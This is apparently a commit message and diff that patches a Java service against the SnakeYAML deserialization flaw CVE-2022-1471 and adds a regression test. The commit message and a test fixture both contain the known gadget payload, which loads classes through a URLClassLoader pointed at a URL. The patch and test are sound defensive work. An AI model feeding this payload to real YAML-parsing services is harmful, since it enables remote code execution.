Ensure that snakeyaml does not deserialize objects based on YAML tags

[CVE-2022-1471][1] describes an issue where versions of SnakeYAML prior to
2.0 would deserialize a YAML document and instantiate a class based on
the document contents.  This behavior can lead to issues like

```
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
```

where untrusted code can be loaded over the internet into the
ClassLoader.

This issue is addressed in version 2.0 where SnakeYAML was altered to no
longer allow so-called "global tags" which are the mechanism used for
this arbitrary deserialization.  There is also the `SafeConstructor`
class which does not do any deserialization beyond primitive Java types
and basic collections.

We, however, need to deserialize to an object of our choice,
SubscriptionRegistry, so this patch explicitly disables global tags
(even though that is the default with SnakeYAML >2.0 anyway) and adds a
test to ensure global tags are disabled.

[1]: https://www.cve.org/CVERecord?id=CVE-2022-1471

swatch-product-configuration/src/main/java/com/redhat/swatch/configuration/registry/SubscriptionDefinitionRegistry.java

@@ -30,6 +30,9 @@
 import org.yaml.snakeyaml.LoaderOptions;
 import org.yaml.snakeyaml.Yaml;
 import org.yaml.snakeyaml.constructor.Constructor;
+import org.yaml.snakeyaml.inspector.TagInspector;
+import org.yaml.snakeyaml.inspector.UnTrustedTagInspector;
+import org.yaml.snakeyaml.nodes.Tag;
 
 /**
  * Loads yaml files from src/main/resource/subscription_configs into List<Subscription>. Provides
@@ -59,8 +62,11 @@ public static synchronized void reset() {
 
   SubscriptionDefinitionRegistry() {
     subscriptions = new ArrayList<>();
+
     var options = new LoaderOptions();
+    options.setTagInspector(new UnTrustedTagInspector());
     options.setEnumCaseSensitive(false);
+
     Constructor constructor = new Constructor(SubscriptionDefinition.class, options);
     constructor.getPropertyUtils().setSkipMissingProperties(true);
 

swatch-product-configuration/src/test/java/com/redhat/swatch/configuration/registry/SubscriptionDefinitionRegistryTest.java

@@ -28,6 +28,12 @@
 import org.junit.jupiter.api.Test;
 import org.junit.jupiter.api.TestInstance;
 import org.junit.jupiter.api.TestInstance.Lifecycle;
+import org.yaml.snakeyaml.composer.ComposerException;
+
+import java.io.IOException;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
 
 @TestInstance(Lifecycle.PER_CLASS)
 class SubscriptionDefinitionRegistryTest {
@@ -36,6 +42,19 @@ class SubscriptionDefinitionRegistryTest {
 
   @BeforeAll
   void setup() {
+    ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+    var url = classLoader.getResource("swatch_config_index.txt");
+
+    if (Files.isSymbolicLink(Paths.get(url.getPath()))){
+      var warning = """
+      Detected a symlink version of swatch_config_index.txt.  This link should only be used
+      in testNoGlobalTags().  Its presence indicates a failure of the test to clean up after itself.
+      Please delete the symlink at %s and rerun the tests.
+      Also consider investigating why the symlink was not deleted after completion of the test.
+      """.formatted(url.getPath());
+      throw new IllegalStateException(warning);
+    }
+
     subscriptionDefinitionRegistry = new SubscriptionDefinitionRegistry();
   }
 
@@ -52,6 +71,34 @@ void testValidations() {
     }
   }
 
+  @Test
+  /** Test for SnakeYaml deserialization vulnerability due to enabled global tags.  See
+   *  <ul>
+   *    <li>https://www.cve.org/CVERecord?id=CVE-2022-1471</li>
+   *    <li>https://www.veracode.com/blog/research/resolving-cve-2022-1471-snakeyaml-20-release-0</li>
+   *    <li>https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in</li>
+   *    <li>https://www.websec.ca/publication/Blog/CVE-2022-21404-Another-story-of-developers-fixing-vulnerabilities-unknowingly-because-of-CodeQL</li>
+   *  </ul>
+   */
+  void testNoGlobalTags() throws IOException {
+    Path link = null;
+    try {
+      ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+      var url = classLoader.getResource("cve_2022_1471_swatch_config_index.txt");
+      Path target = Paths.get(url.getPath());
+      Path parent = target.getParent();
+
+      link = parent.resolve("swatch_config_index.txt");
+      Files.createSymbolicLink(link, target);
+      assertThrows(ComposerException.class, SubscriptionDefinitionRegistry::new);
+    } finally {
+      if (link != null && Files.exists(link)) {
+          Files.delete(link);
+      }
+    }
+
+  }
+
   @Test
   void testLoadAllTheThings() {
     assertFalse(subscriptionDefinitionRegistry.getSubscriptions().isEmpty());

swatch-product-configuration/src/test/resources/cve_2022_1471_product.yaml

@@ -0,0 +1,2 @@
+# From https://snyk.io/blog/unsafe-deserialization-snakeyaml-java-cve-2022-1471/
+!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]

swatch-product-configuration/src/test/resources/cve_2022_1471_swatch_config_index.txt

@@ -0,0 +1 @@
+cve_2022_1471_product.yaml